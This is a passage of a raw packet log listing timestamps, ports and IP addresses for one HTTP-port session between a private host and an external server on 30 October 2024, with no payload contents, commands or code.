Oct 30, 2024 05:25:14.825613022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.825624943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.825639009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.825681925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.825691938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859203100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859293938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859319925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859333992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859345913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859354019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859354019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859363079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859371901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859379053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859389067 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859395027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859419107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859436989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859442949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859453917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859464884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859474897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859497070 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859577894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859587908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859601021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859618902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859625101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859641075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859668970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859682083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859721899 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859735012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859745026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859771967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859797001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859807014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859816074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859824896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859838009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859853029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.859859943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.859884977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860030890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860042095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860053062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860080957 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860105991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860179901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860191107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860223055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860263109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860301971 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860315084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860326052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860362053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860369921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860378981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860388994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860400915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860408068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860415936 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860425949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860452890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860606909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860655069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.860676050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860687017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.860718012 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.898922920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.898935080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.898945093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.898955107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.898964882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.898972988 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.898983002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.898994923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899002075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899010897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899017096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899025917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899036884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899049997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899066925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899072886 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899080992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899091959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899097919 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899106026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899116993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899127007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899138927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899163008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899189949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899199963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899211884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899230003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899255991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899272919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899291992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899317980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899326086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899451017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899497986 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899532080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899544001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899573088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899621964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899631977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899662971 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899816990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899826050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899836063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899858952 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899876118 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.899940014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899959087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899967909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.899979115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.900000095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.900089979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.900099039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.900115967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.900126934 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.900136948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.900144100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.900156021 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.900175095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.900212049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.900253057 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.918121099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918150902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918163061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918190956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918203115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918215990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918247938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918260098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918272972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918353081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918365955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918378115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918432951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.918457985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918469906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918482065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918569088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918613911 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.918638945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918652058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918663979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918673992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.918704987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918765068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.918781996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.918819904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.943190098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.943247080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.943258047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.943583965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.943609953 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976794958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976807117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976824999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976839066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976845980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976856947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976866007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976877928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976885080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976895094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976916075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976928949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976937056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976963043 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.976979017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976989031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.976999998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977010012 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977026939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977041960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977118969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977149010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977160931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977165937 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977180958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977195024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977202892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977226019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977236986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977247000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977267981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977283955 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977345943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977355003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977365971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977375031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977382898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977390051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977406025 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977444887 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977492094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977531910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977556944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977567911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977579117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977588892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977606058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977622032 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977650881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977684975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977699995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977710009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977734089 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977741003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977749109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977756023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977768898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977777004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977785110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977792025 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977798939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.977807999 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977823973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977839947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.977992058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978027105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978035927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.978045940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978060961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.978076935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.978106022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978116989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978159904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.978224993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978295088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978306055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.978373051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.978373051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016657114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016688108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016699076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016705990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016710997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016722918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016736984 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016757965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016768932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016787052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016798019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016810894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016820908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016829014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016829967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016829967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016841888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016875029 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016889095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016896963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016905069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016916990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.016938925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016938925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.016982079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017062902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017072916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017082930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017092943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017102003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017112970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017124891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017129898 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017138958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017154932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017170906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017185926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017386913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017399073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017442942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017627954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017685890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017694950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017704010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017731905 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017754078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017760992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017772913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017785072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017795086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017806053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017816067 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017816067 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017863989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017863989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017877102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017896891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017906904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.017939091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017939091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.017951965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.035574913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035583973 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035612106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035645008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035651922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035725117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035737038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035753965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035772085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.035772085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.035800934 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035813093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035821915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.035841942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.035841942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.035868883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.035986900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036006927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036017895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036027908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036040068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036050081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.036067963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.036103964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.036178112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036197901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036209106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.036242962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.036242962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.060781002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.060800076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.060805082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.060810089 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.060816050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.060821056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.060827017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.061172962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.094789982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.094841957 CET	80	49993	185.215.113.16	192.168.2.6
